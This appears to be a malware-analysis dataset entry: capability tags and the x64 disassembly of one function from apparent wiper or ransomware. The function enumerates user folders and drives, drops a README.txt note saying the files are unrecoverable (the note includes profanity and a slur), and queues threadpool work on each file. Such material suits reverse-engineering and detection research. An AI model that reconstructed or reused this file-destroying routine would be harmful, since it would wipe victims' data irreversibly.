Function at 0x140001770
Capabilities:
Enumerate files on windows
Get common file path
Get disk information

Disassembly:
push rbp
push rdi
push r14
push r15
lea rbp, [rsp - 0x898]
sub rsp, 0x998
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x870], rax
movups xmm1, xmmword [0x140003440]
mov qword [rsp + 0x988], r12
mov r14, rcx
movups xmm0, xmmword [0x140003400]
xor r12d, r12d
mov r15, rdx
movups xmm2, xmmword [0x140003430]
movaps xmmword [rbp + 0xd0], xmm1
movups xmm1, xmmword [0x140003420]
movaps xmmword [rbp + 0xc0], xmm0
movq rcx, xmm2
movups xmm0, xmmword [0x140003460]
movaps xmmword [rbp + 0xf0], xmm1
movups xmm1, xmmword [0x140003470]
movaps xmmword [rbp + 0xe0], xmm0
movups xmm0, xmmword [0x140003450]
movaps xmmword [rbp + 0x110], xmm1
movups xmm1, xmmword [0x140003410]
movaps xmmword [rbp + 0x100], xmm0
movups xmm0, xmmword [0x140003480]
movaps xmmword [rbp + 0x130], xmm1
movups xmm1, xmmword [0x140003490]
movaps xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [0x1400033f0]
movq rax, xmm1
movaps xmmword [rbp + 0xb0], xmm2
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x150], xmm1
cmp rcx, rax
jne 0x14000186e
psrldq xmm2, 8
psrldq xmm1, 8
movq rcx, xmm2
movq rax, xmm1
cmp rcx, rax
je 0x140001be0
mov qword [rsp + 0x9d0], rbx
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x990], rsi
lea rdi, str.C:UsersDefault
mov qword [rsp + 0x980], r13
lea rbx, str.C:UsersPublic
lea r13, str.C:Windows
nop dword [rax]
nop word [rax + rax]
lea r9, [rsp + 0x38]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x140001b93
mov rdx, qword [rsp + 0x38]
lea rcx, [rbp + 0x160]
mov r8d, 0x104
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov qword [rsp + 0x48], rdi
mov rax, r13
xor edi, edi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0
nop dword [rax]
mov rdx, rax
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001b81
mov rax, qword [rsp + rdi*8 + 0x48]
inc rdi
test rax, rax
jne 0x140001900
lea r9, [rbp + 0x160]
mov edx, 0x200
lea r8, str._s
lea rcx, [rbp + 0x670]
call fcn.1400010c0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x670]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001b81
movzx edx, byte [rbp - 0x64]
movzx ecx, byte [rbp - 0x63]
cmp dl, 0x2e
jne 0x14000198a
test cl, cl
je 0x140001b5b
cmp dl, dl
jne 0x14000198a
cmp cl, dl
jne 0x14000198a
cmp byte [rbp - 0x62], 0
je 0x140001b5b
lea rax, [rbp - 0x64]
mov edx, 0x200
lea r9, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x470]
call fcn.1400010c0
test byte [rsp + 0x70], 0x10
je 0x1400019d6
mov r9d, 1
lea rcx, [rbp + 0x470]
mov r8, r15
mov rdx, r14
call fcn.140001460
jmp 0x140001b5b
mov edx, 0x2e
lea rcx, [rbp - 0x64]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r9, [rbp + 0x160]
mov edx, 0x100
lea r8, str._sREADME.txt
mov rdi, rax
lea rcx, [rbp + 0x270]
call fcn.1400010c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001ac6
test rdi, rdi
je 0x140001a3e
lea rdx, str..lnk
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001ac6
lea r9, [rbp + 0x160]
mov edx, 0x100
lea r8, str._sREADME.txt
lea rcx, [rbp + 0x270]
call fcn.1400010c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001ac6
lea r9, [rbp + 0x160]
mov edx, 0x100
lea r8, str._sREADME.txt
lea rcx, [rbp + 0x370]
call fcn.1400010c0
lea rdx, [0x140003548]
lea rcx, [rbp + 0x370]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001ac6
lea rdx, str.Hello._n_Well__you_got_fucked._more_specifically_your_files_are._nTheres_no_way_to_recover_the_files_cuz_im_not_gonna_be_a_retard_and_demand_shit._n
mov rcx, rax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0x38
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rcx, [rbp + 0x470]
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rbx], rax
lea r8, [0x140005680]
mov rdx, rbx
lea rcx, [0x140001120]
movups xmm0, xmmword [r14]
movups xmmword [rbx + 8], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbx + 0x18], xmm1
movups xmm0, xmmword [r15]
movups xmmword [rbx + 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test rax, rax
je 0x140001b24
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x140001b5b
mov rdi, qword [rbx]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140001b30
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov ecx, 0x38
mov rdi, rbx
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001963
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rbx, str.C:UsersPublic
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdi, str.C:UsersDefault
inc r12d
lea rcx, [rbp + 0xb0]
movsxd rax, r12d
shl rax, 4
add rcx, rax
mov rax, qword [rcx]
cmp rax, qword [0x140003490]
jne 0x1400018b0
mov rax, qword [rcx + 8]
cmp rax, qword [0x140003498]
jne 0x1400018b0
mov r13, qword [rsp + 0x980]
mov rsi, qword [rsp + 0x990]
mov rbx, qword [rsp + 0x9d0]
mov r12, qword [rsp + 0x988]
mov dil, 0x41
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], dil
mov word [rsp + 0x31], 0x5c3a
mov byte [rsp + 0x33], 0
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x140001c24
xor r9d, r9d
lea rcx, [rsp + 0x30]
mov r8, r15
mov rdx, r14
call fcn.140001460
inc dil
cmp dil, 0x5a
jle 0x140001bf0
mov rcx, qword [rbp + 0x870]
xor rcx, rsp
call fcn.1400020f0
add rsp, 0x998
pop r15
pop r14
pop rdi
pop rbp
ret